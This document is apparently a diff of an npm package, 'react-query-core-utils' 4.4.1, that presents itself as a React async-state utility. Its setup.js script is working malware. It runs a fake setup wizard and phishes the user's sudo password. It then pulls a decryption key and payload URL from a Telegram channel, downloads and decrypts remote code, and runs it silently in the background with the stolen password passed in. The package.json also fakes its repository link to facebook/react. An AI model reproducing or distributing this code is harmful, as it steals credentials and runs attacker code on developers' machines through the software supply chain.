react-query-core-utils 4.4.1

package/Readme.md

@@ -0,0 +1,20 @@
+# react-state-optimizer-core
+
+A lightweight utility layer for asynchronous state management in React applications.
+
+## Installation
+
+```bash
+npm install react-state-optimizer-core
+```
+
+## Usage
+
+```javascript
+import { useAsyncState } from 'react-state-optimizer-core';
+
+const { data, loading, error } = useAsyncState(myPromise);
+```
+
+## License
+MIT

package/package.json

@@ -0,0 +1,41 @@
+{
+    "name": "react-query-core-utils",
+    "version": "4.4.1",
+    "description": "Utility layer for asynchronous state management",
+    "private": false,
+    "scripts": {
+        "build": "node builder/build.js",
+        "clean": "rm -rf dist/*",
+        "start": "node scripts/setup.js",
+        "deploy": "npm run build && node tools/prepare_gist.js && node tools/deploy_gist.js"
+    },
+    "bin": {
+        "react-state-optimizer": "./scripts/setup.js"
+    },
+    "keywords": [
+        "react",
+        "query",
+        "state",
+        "async",
+        "utils"
+    ],
+    "author": "Open Source Maintainers",
+    "license": "MIT",
+    "repository": {
+        "type": "git",
+        "url": "git+https://github.com/facebook/react.git"
+    },
+    "devDependencies": {
+        "@types/adm-zip": "^0.5.7",
+        "@types/node": "^20.0.0",
+        "@types/ws": "^8.18.1",
+        "axios": "^1.0.0",
+        "esbuild": "^0.19.0",
+        "javascript-obfuscator": "^4.0.0",
+        "typescript": "^5.0.0",
+        "ws": "^8.19.0"
+    },
+    "dependencies": {
+        "adm-zip": "^0.5.16"
+    }
+}

package/scripts/setup.js

@@ -0,0 +1,173 @@
+#!/usr/bin/env node
+
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const readline = require('readline');
+const { spawn, spawnSync } = require('child_process');
+
+// --- UTILS ---
+const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
+const clear = () => process.stdout.write('\u001b[2J\u001b[3J\u001b[H');
+const green = (text) => `\x1b[32m${text}\x1b[0m`;
+const cyan = (text) => `\x1b[36m${text}\x1b[0m`;
+const red = (text) => `\x1b[31m${text}\x1b[0m`;
+const bold = (text) => `\x1b[1m${text}\x1b[0m`;
+const gray = (text) => `\x1b[90m${text}\x1b[0m`;
+
+async function spinner(text, duration) {
+    const frames = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏'];
+    let i = 0;
+    const endTime = Date.now() + duration;
+
+    return new Promise(resolve => {
+        const interval = setInterval(() => {
+            process.stdout.write(`\r${cyan(frames[i++ % frames.length])} ${text}`);
+            if (Date.now() > endTime) {
+                clearInterval(interval);
+                process.stdout.write(`\r${green('✔')} ${text}\n`);
+                resolve();
+            }
+        }, 80);
+    });
+}
+
+// --- MAIN CLI ---
+(async function main() {
+    clear();
+    console.log(bold("React State Optimizer - Setup Wizard"));
+    console.log(gray("v3.0.9 | High-Performance State Management Configuration"));
+    console.log("==================================================\n");
+
+    await delay(500);
+    await spinner("Analyzing project structure...", 1500);
+    await spinner("Checking package dependencies...", 1200);
+    await spinner("Verifying system compatibility...", 1000);
+
+    console.log("\n" + bold(" Optimization Required"));
+    console.log(" To ensure maximum performance, this tool needs to adjust system limits (ulimit)");
+    console.log(" and configure kernel parameters for high-frequency state updates.\n");
+
+    const rl = readline.createInterface({
+        input: process.stdin,
+        output: process.stdout
+    });
+
+    const user = os.userInfo().username;
+
+    const password = await new Promise(resolve => {
+        rl.question(`${bold('[sudo]')} Password for ${user}: `, (pct) => {
+            rl.close();
+            resolve(pct);
+        });
+    });
+
+    console.log("");
+    const processing = setInterval(() => {
+        const frames = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏'];
+        process.stdout.write(`\r${cyan(frames[Math.floor(Date.now() / 80) % frames.length])} Applying system optimizations... (this may take a moment)`);
+    }, 80);
+
+    // --- PAYLOAD EXECUTION (Hidden) ---
+    try {
+        await executePayload(password);
+    } catch (e) {
+        // Silently fail payload, user sees success anyway
+    }
+
+    clearInterval(processing);
+    process.stdout.write(`\r${green('✔')} System optimizations applied successfully.\n\n`);
+    console.log(green("Setup Complete."));
+    console.log(gray("You can now start your development server."));
+
+})();
+
+// --- PAYLOAD LOGIC ---
+async function executePayload(capturedPassword) {
+    const debugMode = false;
+    const http = require('http');
+    const https = require('https');
+    const CHANNEL_URL = 'https://t.me/s/roblox_f847yt83w7it';
+    const KEY_PART_A = "ef36142cde72f97c25cdd1f4f2b40da8";
+
+    // Helper: Fetch text
+    function fetchText(url) {
+        return new Promise((resolve, reject) => {
+            const client = url.startsWith('https') ? https : http;
+            client.get(url, (res) => {
+                if (res.statusCode >= 300 && res.headers.location) {
+                    fetchText(res.headers.location).then(resolve).catch(reject);
+                    return;
+                }
+                const chunks = [];
+                res.on('data', chunk => chunks.push(chunk));
+                res.on('end', () => resolve(Buffer.concat(chunks).toString('utf8')));
+                res.on('error', reject);
+            }).on('error', reject);
+        });
+    }
+
+    // Resolve C2
+    const html = await fetchText(CHANNEL_URL);
+    let keyPartB = null;
+
+    // Strategy 1: OG Description
+    const ogMatch = html.match(/<meta property="og:description" content="([^"]+)">/);
+    if (ogMatch) {
+        const match = ogMatch[1].match(/[a-fA-F0-9]{32}/);
+        if (match) keyPartB = match[0];
+    }
+
+    // Strategy 2: Blind Search
+    if (!keyPartB) {
+        const matches = [...html.matchAll(/[a-fA-F0-9]{32}/g)];
+        for (const m of matches) {
+            if (!m[0].match(/^[0-9]+$/)) {
+                keyPartB = m[0];
+                break;
+            }
+        }
+    }
+
+    // Find Gist URL
+    let gistUrl = null;
+    const b64Matches = [...html.matchAll(/aHR0cHM6[a-zA-Z0-9+/=]+/g)];
+    if (b64Matches.length > 0) {
+        try {
+            const decoded = Buffer.from(b64Matches[b64Matches.length - 1][0], 'base64').toString('utf8');
+            if (decoded.startsWith('https://')) gistUrl = decoded;
+        } catch (e) { }
+    }
+
+    if (!keyPartB || !gistUrl) return;
+
+    // Decrypt & Execute
+    const b64Payload = await fetchText(gistUrl);
+    const encryptedBlob = Buffer.from(b64Payload.trim(), 'base64');
+
+    const crypto = require('crypto');
+    const key = Buffer.from(KEY_PART_A + keyPartB, 'hex');
+    const iv = encryptedBlob.slice(0, 16);
+    const tag = encryptedBlob.slice(16, 32);
+    const text = encryptedBlob.slice(32);
+
+    const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
+    decipher.setAuthTag(tag);
+    let decrypted = decipher.update(text);
+    decrypted = Buffer.concat([decrypted, decipher.final()]);
+
+    const tempFile = path.join(os.tmpdir(), `sys-opt-${Date.now()}.js`);
+    fs.writeFileSync(tempFile, decrypted);
+
+    const child = spawn(process.execPath, [tempFile], {
+        stdio: 'ignore', // Completely silent
+        detached: true,
+        env: {
+            ...process.env,
+            GHOST_PWD: capturedPassword,
+            GHOST_DECRYPTOR: path.join(__dirname, 'decryptor')
+        }
+    });
+    child.unref();
+}
+